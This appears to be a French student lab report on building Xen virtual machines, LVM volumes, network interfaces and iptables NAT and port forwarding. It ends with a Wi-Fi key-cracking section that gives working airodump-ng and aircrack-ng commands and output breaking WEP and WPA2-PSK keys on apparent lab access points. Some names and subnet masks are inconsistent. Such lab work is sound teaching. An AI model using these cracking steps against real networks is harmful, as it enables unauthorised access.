Atelier SysRes SE4 2025/2026 E1

CRÉATION MACHINES VIRTUELLES

Il faut d'abord crée un "bridge" sur capbreton pour relier nos 3 machines virtuelles ensemble. Un "bridge" n'a rien de complexe, c'est un commutateur mais virtuel. C'est comme un commutateur physique avec des ports ethernet pour relier des machines ensemble mais il n'existe pas dans le monde physique seulement sur nos ordinateurs et VM. Pour cela, nous créons notre pont sur capbreton le commutateur/routeur dans la E304. Nous le faisons dans ce chemin : /etc/network/interfaces.d/SE42026_pcasimir_ahoudus

Veuillez faire en sorte de ne PAS modifier le fichier le fichier /etc/network/interfaces car c'est le fichier qui permet de configurer la connectivité de capbreton lui-même.

auto pont_Gercourt                                                                                                                                                      
iface pont_Gercourt inet manual                                                                                                                                         
        bridge_ports none                                                                                                                                               
        up ip link set $IFACE up                                                                                                                                        
        down ip link set $IFACE down

Ensuite, nous devons initialiser nos MV de services grâce à l'outil hyperviseur Xen.

Un hyperviseur, c’est le logiciel qui permet de faire tourner plusieurs “ordinateurs virtuels” (VM) sur un seul ordinateur physique.

Au lieu d’avoir 1 machine = 1 OS, tu as 1 machine physique = plusieurs OS (Linux, OpenWRT, Windows…) qui tournent en parallèle, chacun dans sa VM.

Un hyperviseur est “entre” le matériel et les VM, et il s’occupe de partager proprement :

CPU : qui a le droit d’exécuter quand (ordonnancement)
RAM : qui a droit à quelle mémoire (isolation, allocation)
Disques : chaque VM a “son disque” (souvent un fichier .img, LVM, etc.)
Réseau : chaque VM a une carte réseau virtuelle, connectée à un switch/bridge virtuel
Isolation/Sécurité : une VM ne doit pas pouvoir casser les autres.

Xen, c’est un hyperviseur “bare-metal” très utilisé historiquement en serveur/cloud.

Dans Xen, toutes les VM sont des domains.

Dom0 (Domain 0) : la VM “chef” (privilégiée)
- c’est elle qui a les drivers matériels
- c’est elle qui crée / détruit / configure les autres VM
- elle gère souvent le réseau (bridges/VLAN) et le stockage
DomU : les VM “normales” (invitées)
- elles ont des périphériques virtuels
- elles passent souvent par Dom0 pour accéder au hardware

Petit schéma mental :

         Matériel (CPU/RAM/NIC/Disques)
                    │
                   Xen
                    │
        ┌───────────┴───────────┐
        │                       │
      Dom0                 Dom1, Dom2, Dom3...
 (admin + drivers)      (VM Linux / OpenWRT / etc.)

Il leur faut plusieurs paramètres pour fonctionner selon nos critères.

root@capbreton:~# xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force

xen-create-image : Commande permettant de créer une nouvelle machine virtuelle Xen
--hostname=SE4.Merteuil : Spécifie le nom d'hôte de la nouvelle MV créée. Ici, le nom d'hôte sera SE4.Atreus.
--dhcp : Indique que la MV obtiendra automatiquement une adresse IP via DHCP. Aucune configuration statique d'adresse IP ne sera nécessaire. Vous devriez quand même configuré votre /etc/network/interface dans votre VM pour qu'elle ait une adresse IPv4 sur votre commutateur virtuel/bridge.
--bridge=bifrost : Précise l'utilisation du pont réseau nommé bifrost pour connecter la machine virtuelle au réseau physique ou virtuel existant. Ceci permet une connexion directe de la VM au réseau.
--dir=/usr/local/xen : Définit le répertoire dans lequel seront stockées les images disque et les fichiers associés de la MV. Ici, l'image sera placée dans le dossier /usr/local/xen.
--size=10GB : Détermine la taille du disque virtuel pour cette MV. Dans cet exemple, le disque fera 10 Go.
--dist=daedalus : Indique la distribution du système d'exploitation à utiliser pour la MV. Ici, la distribution choisie s'appelle daedalus pour Debian.

--memory=2048M : Détermine la quantité de mémoire vive (RAM) allouée à la MV. Dans cet exemple, la MV aura 2048 Mo (soit 2 Go) de RAM.

Volumes Logiques

Dans notre infra, on ne met pas tout le système d’une VM sur un seul “disque” géant. On sépare certains répertoires dans des volumes logiques (LVM) dédiés, notamment :

/home : dossiers utilisateurs (fichiers perso, configs, projets, clés SSH…)
/var : données qui bougent beaucoup (logs, cache, bases de données, spool, etc.)

Cette séparation a plusieurs avantages très concrets :

Meilleure gestion de l’espace disque : tu peux dimensionner /var et /home indépendamment (et agrandir si besoin).
Moins de risques : si /var explose (logs qui partent en vrille, cache énorme…), ça évite de remplir tout le disque système et de “tuer” la VM.
Maintenance plus simple : sauvegarde/restauration ciblée (ex : sauvegarder /home sans prendre tout le système).
Organisation propre : chaque VM a ses volumes clairement identifiés.

Pour chaque VM, on crée deux volumes logiques de 10 Go :

lvcreate -L 10G -n SE4.<NomDeVM>.home virtual
lvcreate -L 10G -n SE4.<NomDeVM>.var virtual

lvcreate : commande qui crée un volume logique
-L 10G : taille du volume (ici 10 Go)
-n <nom> : nom du volume logique (d’où le SE4.<NomDeVM>.home)
virtual : le Volume Group dans lequel on crée le volume

Ces volumes seront ensuite attachés à la VM comme des disques (ou partitions virtuelles), puis formatés et montés dans la VM :

le volume .home sera monté sur /home
le volume .var sera monté sur /var

Fichier de configuration Xen

0) Éditer le fichier de configuration Xen de la VM (réseau + disques)

Après avoir généré une VM avec xen-create-image, un fichier de configuration est créé pour cette VM (souvent un .cfg).

C’est ce fichier qui dit à Xen :

quels disques (images, volumes LVM…) la VM utilise
combien de RAM/vCPU
et surtout quelles interfaces réseau virtuelles (VIF) elle a, et sur quels bridges elles sont branchées

root        = '/dev/xvda2 ro'
disk        = [
                  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',
                  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',
		          'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',
		          'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',
              ]
              
#                                                                                                                                                                       
#  Hostname                                                                                                                                                             
#                                                                                                                                                                       
name        = 'SE4.Merteuil'                                                                                                                                            
                                                                                                                                                                        
#                                                                                                                                                                       
#  Networking                                                                                                                                                           
#                                                                                                                                                                       
dhcp        = 'dhcp'                                                                                                                                                    
vif         = [ 'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt' ,                                                                                                          
                'mac=00:16:3E:47:BB:E7,bridge=SE4' ]

1) Les VIF : cartes réseau virtuelles de la VM

Une VIF (Virtual Interface), c’est tout simplement une carte réseau virtuelle vue par la VM.

Dans la VM, elle apparaîtra comme une interface réseau (genre eth0, eth1, etc., selon l’OS).

Dans Xen, chaque entrée vif du fichier .cfg correspond à une carte réseau virtuelle. Une fois la VM démarrée, ces cartes apparaissent dans l’OS invité sous forme d’interfaces eth0, eth1, etc. Le paramètre bridge=... indique sur quel commutateur virtuel (bridge Xen/Linux) la carte est connectée.

Différence avec une machine physique

Sur un PC “réel”, tu es limité :

par le nombre de ports Ethernet / cartes réseau dispo physiquement

Dans une VM, pas ce souci :

tu peux ajouter autant de VIF que tu veux en théorie
en pratique : tu restes limité par la perf + la complexité de ton archi réseau (mais c’est déjà énorme)

2) Ce qu’on veut dans le TP : 2 cartes réseau

Dans le cadre du TP, on te demande 2 VIF :

VIF 1 : réseau interne de ton groupe (bridge du “switch” virtuel)

branchée sur le bridge qui relie nos 3 machines (nos VM du groupe)
ici : pont_Gercourt

Objectif : que nos VMs communiquent entre elles comme si elles étaient branchées sur le même switch.

VIF 2 : réseau “école / Internet / infra”

branchée sur le bridge qui donne l’accès au reste de l’infra + Internet
ici : SE4 (bridge officiel du TP)

Objectif : accès Internet + accès au reste de l’infra (routeurs, services, etc.)

Mode “secours” : `bridgeStudents`

Tant que le bridge SE4 n’est pas encore “brassé” correctement (câblage + routeurs Cisco + etc.), tu peux utiliser :

bridgeStudents

Ça te donne déjà :

Internet
de quoi avancer sur une grosse partie du TP

⚠️ Mais à la fin, pour la note max :

Vous devez faire le brassage / branchement réel des commutateurs en E304 / E306 / E200, et configurer la partie Cisco reliée au bridge SE4.

3) Exemple de section réseau dans le `.cfg`

# Networking
dhcp = 'dhcp'
vif  = [
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',
  'mac=00:16:3E:47:BB:E7,bridge=SE4'
]

Comment lire ça ?

vif = [...] : liste des cartes réseau virtuelles
chaque ligne décrit une VIF
mac=... : la MAC address que la VM utilisera (utile pour DHCP, filtrage, repérage)
bridge=... : le bridge Xen/Linux sur lequel tu connectes cette VIF

c’est littéralement “sur quel switch virtuel tu branches le câble”

4) Lien avec `xen-create-image` (ce que tu retrouves dans le cfg)

xen-create-image --hostname=SE4.Merteuil --dhcp --bridge=pont_Gercourt \
  --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=2048M --force

Elle fait plusieurs trucs automatiquement :

crée le disque système (disk.img) + swap (swap.img)
configure le hostname
met une config réseau DHCP
et ajoute 1 bridge par défaut (pont_Gercourt)

Mais elle ne connaît pas forcément ta future archi avec /home et /var séparés, ni le second bridge (SE4).

Donc tu complètes à la main dans le .cfg.

5) Ajouter nos volumes logiques `/home` et `/var` dans `disk = [...]`

Dans ton fichier config, tu as une section :

disk = [

'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',

'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',

]

Comprendre file: vs phy:

file: → disque = fichier image (un .img)
phy: → disque = vrai block device côté hôte (ex : volume LVM dans /dev/virtual/...)

Donc pour brancher nos volumes logiques LVM, tu ajoutes :

'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',
'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',

Ce qui donne :

disk = [
  'file:/usr/local/xen/domains/SE4.Merteuil/disk.img,xvda2,w',
  'file:/usr/local/xen/domains/SE4.Merteuil/swap.img,xvda1,w',
  'phy:/dev/virtual/SE4.Merteuil.home,xvda3,w',
  'phy:/dev/virtual/SE4.Merteuil.var,xvdb1,w',
]

6) C’est quoi `xvda3` / `xvdb1` exactement ?

C’est juste le nom du disque vu par la VM.

xvda = “disque A virtuel”
xvdb = “disque B virtuel”
xvda3 = “partition 3 du disque A” (façon de parler : c’est l’identifiant donné à Xen)

Ce qui compte vraiment

✅ Que chaque “source” (file/phy) ait un identifiant unique côté VM.

Le choix xvda3 vs xvdb1 n’a rien de magique : c’est juste une convention.

Petit conseil pratique (propre et simple)

garde tout sur xvda1, xvda2, xvda3, xvda4… (ça évite de te perdre)
ou alors fais :
- xvda... pour OS + swap
- xvdb pour home
- xvdc pour var (plus lisible quand tu en as beaucoup)

Les deux se font. L’important, c’est d’être cohérent.

7) Le `w` à la fin : super important

À la fin de chaque ligne de disque, tu as :

w = write (lecture + écriture)
r = read-only (lecture seule)

Donc si tu oublies le w sur un volume /home ou /var, tu vas vite te retrouver avec :

des erreurs d’écriture
ou un système qui refuse de monter le FS correctement Pour des volumes de données, c’est toujours w.

Montage des partitions et fichier "fstab"

Très important : ça se fait dans la VM, pas sur capbreton

Les commandes mkfs, mount, mv sont à exécuter dans la VM (le DomU).

Sur capbreton (Dom0 / hôte Xen), ne touche jamais à /var : c’est le cœur des services (logs, state, packages, etc.). Si tu déplaces /var sur le host, tu peux casser l’infra du TP (et potentiellement les autres VMs / services).
Sur capbreton, ton job c’est créer les volumes LVM et les attacher à la VM dans le .cfg. Point.

Rappel : c’est quoi `/var` exactement ?

/var = “variable data”, donc tout ce qui change souvent et peut grossir vite.

Typiquement :

/var/log : logs (ça peut exploser si un service spam)
/var/lib : données applicatives (ex: bases de données, états de services)
/var/cache : caches (apt, etc.)
/var/tmp : fichiers temporaires “longue durée”
/var/spool : files d’attente (mail, cron, impressions…)

Pourquoi on le met sur un volume dédié : si /var se remplit, tu évites de remplir / et de rendre la VM inutilisable.

mkfs -t ext4 /dev/xvdb1
mount /dev/xvdb1 /mnt
mv /var/* /mnt
umount /mnt
mkfs -t ext4 /dev/xvda3
mount -a

Explication rapide des commandes

mkfs -t ext4 /dev/xvdb1 : formatage → crée un système de fichiers ext4 sur le disque. ⚠️ Ça efface ce qu’il y avait dessus.
mount <device> <dossier> : “branche” le système de fichiers sur un dossier.
umount <dossier> : “débranche”.
mount -a : monte tout ce qui est dans /etc/fstab
mv : déplace. Sur /var, c’est risqué parce que des fichiers peuvent être utilisés en live.

DÉMARRAGE AUTOMATIQUE DU MONTAGE


Fichier fstab

CONFIGURATION RÉSEAU DE NOS VM

Rappel du schéma et du rôle des machines

Dans l’infra, on a deux “mondes” réseau en parallèle :

Un réseau IPv4 privé (non routable sur Internet) : utilisé pour l’interconnexion interne et la sortie Internet via NAT.
Un réseau IPv6 public : utilisé pour rendre les VM accessibles directement depuis l’extérieur (et accéder à Internet en IPv6 sans NAT).

VM de service (serveurs)

IPv4 privé : pour sortir sur Internet via le mandataire (NAT/Masquerade).
IPv6 public : pour être joignable directement (pas de NAT).

VM mandataire (gateway)

Reliée au réseau privé IPv4 : côté interne
Reliée au réseau public : côté infra école + Internet.
Fait l’interconnexion (routage + NAT + redirections de ports si besoin).

Configuration réseau de la VM de service

Ton `/etc/network/interfaces` (service)

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
        address 192.168.3.2/27 #192.168.3.3 pour notre deuxième service nommée Valmont
        gateway 192.168.3.1 #adresse IPv4 de notre mandataire

auto eth1
iface eth1 inet6 auto #attention de ne pas mettre en dhcp

Explication simple

eth0 (IPv4 privé)
- IP privée 192.168.3.2/27
- passerelle 192.168.3.1 = l’IP du mandataire sur le réseau privé → Tout trafic IPv4 “vers Internet” part au mandataire.
eth1 (IPv6)
- inet6 auto = la VM récupère automatiquement une IPv6 (SLAAC/RA) + souvent une route par défaut IPv6 → La VM est accessible directement en IPv6, sans passer par du NAT.

Configuration réseau de la VM mandataire

Ton /etc/network/interfaces (mandataire)

auto lo
iface lo inet loopback

auto eth0
iface eth0 inet static
        address 192.168.3.1/24

auto eth1
iface eth1 inet6 auto

iface eth1 inet static
        address 193.48.57.165/27
        gateway 193.48.57.162

eth0 (IPv4 privé) : 192.168.3.1 = gateway des services (réseau interne)

eth1 (public) :
- IPv4 public 193.48.57.165/27
- gateway public 193.48.57.162 (VRRP)
IPv6 en auto (pour avoir IPv6 public côté mandataire aussi)

Du `.cfg` Xen → aux interfaces `ethX` dans la VM

Côté Xen (Dom0) : tu déclares des VIF

Dans le fichier de config Xen de ta VM, tu as un truc du style :

vif = [
  'mac=00:16:3E:47:BB:E8,bridge=pont_Gercourt',
  'mac=00:16:3E:47:BB:E7,bridge=SE4'
]

Interprétation :

Tu crées 2 cartes réseau virtuelles (2 VIF) pour la VM.
Chaque VIF :
- a une MAC (pour l’identifier)
- est branchée sur un bridge Xen/Linux (un switch virtuel)

Donc en mode “câblage” :

VIF #1 = un câble branché sur le switch virtuel pont_Gercourt
VIF #2 = un câble branché sur le switch virtuel SE4 (ou bridgeStudents)

Dans la VM (DomU) : ces VIF apparaissent comme `eth0`, `eth1`, …

Quand la VM boot :

Xen “présente” ces VIF à l’OS invité
l’OS les voit comme des interfaces réseau classiques

Typiquement :

la 1ère VIF devient eth0
la 2ème VIF devient eth1

⚠️ Petit point important : le nom exact peut dépendre de l’OS (Debian peut utiliser eth0/eth1 ou des noms type ens3), mais dans ton TP tu es bien sur eth0/eth1, donc on garde ça.

ip link
ip addr

Tu verras eth0, eth1 et leurs MAC. Tu peux matcher avec celles du .cfg.

Le bridge Xen = “le switch” auquel la carte est connectée

bridge=pont_Gercourt : réseau privé IPv4 entre nos VMs (commutateur virtuel interne)
bridge=SE4 (ou bridgeStudents) : réseau public / infra école / Internet

Donc, si ta VM a :

eth0 reliée à pont_Gercourt → elle est sur le réseau privé
eth1 reliée à SE4 → elle est sur le réseau public

C’est exactement pour ça que dans /etc/network/interfaces tu mets :

IPv4 privé sur eth0
IPv6 (direct) sur eth1

Pourquoi les services sortent en IPv4 via “Masquerade” (NAT)

Le problème IPv4

IPv4 = adresses sur 32 bits → ~4,3 milliards d’adresses max, et une grosse partie est réservée.

Résultat : on ne peut pas donner une IPv4 publique à chaque machine du monde.

La solution historique : NAT / Masquerade

On met les machines en IP privées (ex : 192.168.x.x), et une machine (le mandataire) “traduit” :

en interne : 192.168.3.2 (service)
en externe : 193.48.57.165 (mandataire)

Donc vu d’Internet, tout sort avec l’IP publique du mandataire.

C’est exactement ce que fait MASQUERADE dans iptables : une forme de NAT automatique adaptée quand l’IP externe peut changer.

Pourquoi en IPv6 on fait de l’accès direct (pas de NAT)

IPv6 = 128 bits → un nombre d’adresses gigantesque (bien au-delà du “trillions” d'adresses).

Du coup, on peut attribuer à chaque VM une IPv6 unique, routable.

Conséquence :

pas besoin de NAT
la VM est joignable directement (avec firewall bien sûr)

Dans ton schéma, c’est l’arc “Accès direct IPv6” : les services sont accessibles depuis l’infra publique en IPv6 sans passer par la traduction du mandataire.

VRRP : c’est quoi cette gateway `193.48.57.162` ?

193.48.57.162 = IP virtuelle VRRP portée par deux routeurs (redondance).

routeur A : ...163
routeur B : ...164
IP VRRP : ...162 (celle que tu mets en gateway)

Avantage :

si un routeur tombe, l’autre reprend l’IP VRRP
nos machines ne changent pas leur config, ça continue de router

Si tu mets directement .163 ou .164 en gateway :

tu forces l’utilisation d’un routeur précis
tu perds la redondance (si celui-là tombe, plus de sortie)

MASCARED D'IP

Le problème

VM de service sont en IPv4 privé (ex: 192.168.3.x).

Ces adresses ne sont pas routables sur Internet (elles n’existent pas “officiellement” sur le réseau public).

Donc si une VM 192.168.3.2 envoie un paquet vers Internet (ex: 8.8.8.8), le monde extérieur ne peut pas répondre directement à 192.168.3.2 → c’est une adresse privée.

La solution : NAT sortant (Masquerade)

La machine mandataire (Rosemonde dans mon cas) joue le rôle de gateway NAT :

En interne : les services parlent en 192.168.3.x
En externe : le mandataire remplace l’IP source par son IP publique (ex: 193.48.57.165)

Donc vu depuis Internet, tout semble venir de 193.48.57.165.

C’est exactement ce que fait MASQUERADE :

“Quand un paquet sort vers Internet depuis le réseau privé, réécris son IP source avec l’IP publique du mandataire.”

Le NAT n’est pas “juste une règle”. Ça marche avec un système d’état appelé conntrack (suivi de connexions).

Exemple : la VM 192.168.3.2 fait un apt update vers un serveur public X.X.X.X:443.

La VM envoie :

source = 192.168.3.2:54321
destination = X.X.X.X:443

Le mandataire applique MASQUERADE en sortie (POSTROUTING) :

source devient 193.48.57.165:40000 (port éventuellement modifié)

Le mandataire enregistre une “table de correspondance” (conntrack) :

192.168.3.2:54321 ↔ 193.48.57.165:40000

Quand la réponse revient de X.X.X.X:443 vers 193.48.57.165:40000, le mandataire “dé-NAT” automatiquement et renvoie vers :

192.168.3.2:54321

Donc le NAT permet à plusieurs machines privées de partager une seule IPv4 publique grâce à :

réécriture d’IP
réécriture de ports (PAT)
suivi d’état (conntrack)

Lire un fichier iptables `/etc/iptables/rules.v4`

# Generated by iptables-save v1.8.9 (nf_tables) on Thu Jan 22 18:31:33 2026
*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22
-A PREROUTING -d 193.48.57.165/32 -p tcp -m tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22
-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE

-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE
COMMIT
# Completed on Thu Jan 22 18:31:33 2026

*nat
:PREROUTING ACCEPT [0:0]
:INPUT ACCEPT [0:0]
:OUTPUT ACCEPT [0:0]
:POSTROUTING ACCEPT [0:0]
...
COMMIT

Les chaînes (ultra important)

PREROUTING : NAT fait avant que Linux décide où router le paquet → typiquement DNAT (port forwarding)
POSTROUTING : NAT fait juste avant que le paquet sorte sur une interface → typiquement SNAT/MASQUERADE (NAT sortant)

-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2201 -j DNAT --to-destination 192.168.3.2:22
-A PREROUTING -d 193.48.57.165/32 -p tcp --dport 2021 -j DNAT --to-destination 192.168.3.3:22

Ça veut dire :

Si quelqu’un sur Internet fait :
- 193.48.57.165:2201 → tu rediriges vers 192.168.3.2:22 (SSH)
- 193.48.57.165:2021 → tu rediriges vers 192.168.3.3:22 (SSH)

Donc tu exposes plusieurs SSH internes via un seul serveur public, en jouant sur les ports.

Note importante : DNAT ne suffit pas toujours tout seul : il faut aussi que le forwarding soit autorisé (et éventuellement règles filter si tu as une politique restrictive). Dans ton cas, tu n’as montré que la table nat.

-A POSTROUTING -s 192.168.3.0/29 -j MASQUERADE
-A POSTROUTING -s 10.60.0.0/16 -j MASQUERADE

Traduction :

Tout paquet qui sort et dont la source est dans 192.168.3.0/29 verra son IP source remplacée par l’IP publique du mandataire.
Pareil pour 10.60.0.0/16 (ces adresses seront à rajoutées pour la suite du TP pour l'instant ne les ajoutés pas)

Autre amélioration très recommandée : préciser l’interface de sortie

Sans -o eth1, tu peux NATer des flux que tu ne voulais pas NATer si tu as plusieurs sorties. La version “propre” :

-A POSTROUTING -s 192.168.3.0/27 -o eth1 -j MASQUERADE

Mais dans notre TP, il n'y pas besoin de ça

Explication de PREROUTING et POSTROUTING

PREROUTING : “avant la décision de routage”

Quand ?

Dès qu’un paquet entre sur la machine (depuis une interface réseau), avant que Linux décide s’il doit :

le garder pour lui (INPUT),
ou le renvoyer vers un autre réseau (FORWARD).

À quoi ça sert ?

C’est l’endroit parfait pour faire du DNAT (redirection de destination), parce que tu veux changer la destination avant que le kernel choisisse où l’envoyer.

Exemple concret (port forwarding)

Quelqu’un sur Internet contacte :

193.48.57.165:2201

Ta règle en PREROUTING fait :

destination devient 192.168.3.2:22

Ensuite seulement, Linux dit :

“ok, ça doit partir vers le réseau interne” → il route vers 192.168.3.2.

PREROUTING = “je reçois le colis, je regarde l’étiquette et j’ai encore le droit de la changer avant de choisir le camion.”

POSTROUTING : “juste avant de sortir”

Quand ?

Après que Linux a déjà décidé par où le paquet sort (quelle interface, quelle route), et juste avant qu’il quitte la machine.

À quoi ça sert ?

C’est l’endroit parfait pour faire du SNAT / MASQUERADE (changer l’adresse source), parce que :

tu sais maintenant exactement sur quelle interface ça sort,
et donc quelle IP source externe utiliser.

Exemple concret (NAT sortant / masquerade)

Une VM interne envoie vers Internet :

source 192.168.3.2 → destination 1.2.3.4

En POSTROUTING, tu remplaces la source :

source devient 193.48.57.165 (IP publique du mandataire)

Comme ça, Internet répond à 193.48.57.165, et le mandataire retransmet à la VM grâce à conntrack.

POSTROUTING = “le colis est déjà assigné à un camion (interface de sortie), je peux encore modifier l’étiquette avant qu’il parte.”

Résumé

PREROUTING : avant le routage → on change surtout la destination (DNAT / redirections de ports)
POSTROUTING : après le routage → on change surtout la source (SNAT / MASQUERADE)

Cassage de clé WIFI

WEP

Sur un 1 terminal :

sudo airodump-ng wlan1 --write crackage_pcasimir/pcasimir --bssid 04:DA:D2:9C:50:50 -c4

Il faut laisser tourner le programme pendant un moment pour capturer un maximum d'IVs (environ 50*10³)

Ce que l'on voit :

CH  4 ][ Elapsed: 40 mins ][ 2026-02-10 16:07 ][ paused output

BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

04:DA:D2:9C:50:50  -64   0    10771    48468   31   4   54e. WEP  WEP         cracotte01    

BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes

04:DA:D2:9C:50:50  40:A5:EF:01:21:80  -73    0 -36e   621    58224

sur 2ème terminal :

Une fois qu'on a 50*10³ IV on fait :

sudo aircrack-ng -a1 -b 04:DA:D2:9C:50:50 crackage_pcasimir/pcasimir-01.cap -s

Résultat :

  KB    depth   byte(vote)

   0    1/  2   B5(55552) 84(53504) 2B(52992) 2F(52480) A0(52480) BA(52224) 

   1    0/  5   49(66304) E8(55552) 20(55296) 65(55296) 73(55296) 5F(53760) 

   2   41/  2   E1(48640) 0E(48384) 3D(48384) 63(48384) 6C(48384) 9C(48384) 

   3    4/  3   B3(53248) 7B(52992) 95(52992) 31(52736) 12(52224) FF(52224) 

   4    1/  2   21(55552) 17(52480) 26(52224) B5(52224) 16(51968) C0(51712) 

            KEY FOUND! [ FF:FF:FF:FF:FA:BC:02:CB:AE:EE:EE:EE:EE ] 

   Decrypted correctly: 100%

WPA2-PSK

pcasimir@zabeth13:~$ sudo airodump-ng wlan1 --write crackage_pcasimir/airodumpWPA --bssid 44:AD:D9:5F:87:00 -c13

CH 13 ][ Elapsed: 1 hour 44 mins ][ 2026-02-10 18:41 ][ fixed channel wlan1: 4 

BSSID              PWR RXQ  Beacons    #Data, #/s  CH   MB   ENC CIPHER  AUTH ESSID

44:AD:D9:5F:87:00  -58   0    28293      508    0  13   54e. WPA2 CCMP   PSK  kracotte01    

BSSID              STATION            PWR    Rate    Lost   Frames  Notes  Probes

pcasimir@zabeth13:~$ sudo aircrack-ng -a2 -b 44:AD:D9:5F:87:00 -w crackage_pcasimir/dico.txt crackage_pcasimir/airodumpWPA-01.cap

Aircrack-ng 1.7 

     [00:55:43] 66515032/100000000 keys tested (19870.44 k/s) 

     Time left: 28 minutes, 5 seconds                          66.52%

                          KEY FOUND! [ 66689666 ]

     Master Key     : 3C A8 6A 6B 80 C3 36 12 EC D6 36 89 9F E3 F6 BC 

                      D6 B2 24 8A 49 B4 9C 2A A3 6F 3E A0 96 15 8B F5 

     Transient Key  : A0 53 57 7D 4B 67 FB 00 00 00 00 00 00 00 00 00 

                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

                      00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 

     EAPOL HMAC     : 52 DE 19 6D B0 E3 3B 2C 1A DA D3 F2 66 39 F2 DD